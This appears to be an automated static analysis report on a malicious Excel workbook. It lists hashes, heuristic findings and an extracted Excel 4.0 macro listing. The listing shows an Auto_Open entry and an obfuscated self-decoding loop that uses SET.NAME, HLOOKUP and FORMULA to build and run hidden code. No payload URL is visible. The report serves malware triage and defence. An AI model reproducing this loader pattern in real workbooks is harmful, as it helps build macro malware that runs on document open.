Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fbf166624e6bc20d…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:38:28 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: d96c37faa06d70acb1b7fb65d50832a9 SHA-1: bb6e969d08391af07267b32bc74146a96a3514b8 SHA-256: fbf166624e6bc20d6bae382c283dc42b466339149da3402118938852205d463c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6472 bytes
SHA-256: 2a9d6d65159ea0f54a6ea8a1a75ee8a834c5af5b40bf47c895ff4e379546e215
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tcdp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D158 
' 0018     21 LABEL : Cell Value, String Constant - BBICyj len=0 
' 0018     26 LABEL : Cell Value, String Constant - FKBoIOyOnfo len=0 
' 0018     23 LABEL : Cell Value, String Constant - FoeQnoVu len=0 
' 0018     22 LABEL : Cell Value, String Constant - frCNmUb len=0 
' 0018     24 LABEL : Cell Value, String Constant - FrjnaDQhg len=0 
' 0018     22 LABEL : Cell Value, String Constant - IlAehCm len=0 
' 0018     25 LABEL : Cell Value, String Constant - LucqGHcCte len=0 
' 0018     23 LABEL : Cell Value, String Constant - MxGzKQkJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - OowgHSZNT len=0 
' 0018     27 LABEL : Cell Value, String Constant - pVoGxWvChzoo len=0 
' 0018     20 LABEL : Cell Value, String Constant - RhbAH len=0 
' 0018     27 LABEL : Cell Value, String Constant - SddHIlcTtSRk len=0 
' 0018     27 LABEL : Cell Value, String Constant - slouQHgRVvXG len=0 
' 0018     22 LABEL : Cell Value, String Constant - vdyJGMq len=0 
' 0018     26 LABEL : Cell Value, String Constant - VQdPSBVxbgS len=0 
' 0018     21 LABEL : Cell Value, String Constant - whPCbZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - wnSWD len=0 
' 0018     25 LABEL : Cell Value, String Constant - XZZABlqyna len=0 
' 0018     24 LABEL : Cell Value, String Constant - yCXCElwYh len=0 
' 0018     23 LABEL : Cell Value, String Constant - zyjXgPCL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tcdp,D70,"SET.NAME("MxGzKQkJ",VALUE("0"))",""
'  tcdp,D72,"SET.NAME("FoeQnoVu",MxGzKQkJ)",""
'  tcdp,D75,"SET.NAME("wnSWD",MxGzKQkJ)",""
'  tcdp,D78,"SET.NAME("LucqGHcCte",COUNTA(FrjnaDQhg))",""
'  tcdp,D81,"SET.NAME("zyjXgPCL",COUNTA(BBICyj))",""
'  tcdp,D86,[],""
'  tcdp,D89,"SET.NAME("slouQHgRVvXG","")",""
'  tcdp,D94,"FoeQnoVu",""
'  tcdp,D97,"SET.NAME("vdyJGMq",HLOOKUP("*",FrjnaDQhg,FoeQnoVu,FALSE))",""
'  tcdp,D102,"whPCbZ",""
'  tcdp,D107,"SET.NAME("pVoGxWvChzoo",MxGzKQkJ)",""
'  tcdp,D109,[],""
'  tcdp,D111,"pVoGxWvChzoo",""
'  tcdp,D113,"XZZABlqyna",""
'  tcdp,D115,"yCXCElwYh",""
'  tcdp,D118,"OowgHSZNT",""
'  tcdp,D120,"SET.NAME("frCNmUb",VALUE(HLOOKUP("*",BBICyj,OowgHSZNT,FALSE)))",""
'  tcdp,D124,"VQdPSBVxbgS",""
'  tcdp,D129,"slouQHgRVvXG",""
'  tcdp,D133,"wnSWD",""
'  tcdp,D137,NEXT(),""
'  tcdp,D141,"SddHIlcTtSRk",""
'  tcdp,D144,"SET.NAME("f",INT(T(FORMULA(T(slouQHgRVvXG)&"",""&T(SddHIlcTtSRk)))))",""
'  tcdp,D147,"RhbAH",""
'  tcdp,D150,NEXT(),""
'  tcdp,D154,RETURN(),""
'  tcdp,D183,"SET.NAME("FKBoIOyOnfo",D70)",""
'  tcdp,D187,"FrjnaDQhg",""
'  tcdp,D190,"SET.NAME("BBICyj",R88C12)",""
'  tcdp,D195,"SET.NAME("RhbAH",203)",""
'  tcdp,D198,"SET.NAME("IlAehCm",4)",""
'  tcdp,D202,FKBoIOyOnfo(),""
'  tcdp,D203,HALT(),""